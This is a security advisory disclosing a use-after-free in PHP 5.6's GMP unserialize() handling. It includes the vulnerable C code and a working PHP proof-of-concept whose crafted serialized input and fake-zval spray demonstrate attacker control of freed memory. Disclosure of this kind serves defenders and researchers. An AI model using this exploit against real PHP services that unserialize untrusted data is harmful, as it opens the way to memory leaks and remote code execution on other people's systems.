PHP GMP – ‘unserialize()’ Use-After-Free
Use After Free Vulnerability in unserialize() with GMP Taoguang Chen <[@chtg](http://github.com/chtg)> Write Date: 2015.8.17 Release Date: 2015.9.4 A use-after-free vulnerability was discovered in unserialize() with GMP object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. Affected Versions ------------ Affected is PHP 5.6 < 5.6.13 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */ { ... INIT_ZVAL(zv); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_STRING || convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE ) { zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC); goto exit; } zval_dtor(&zv); INIT_ZVAL(zv); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; } The GMP object's deserialization can create ZVAL and free its zval_value from memory via zval_dtor(). However during deserialization will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12. <?php $inner = 'r:2;a:1:{i:0;a:1:{i:0;r:4;}}'; $exploit = 'a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $data = unserialize($exploit); $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> Test the PoC on the command line: $ php uafpoc.php array(2) { [0]=> int(1122334455) <=== so we can control the memory and create fake ZVAL :) [1]=> object(GMP)#1 (2) { [0]=> array(1) { [0]=> int(4325299791) } ["num"]=> string(1) "1" } } |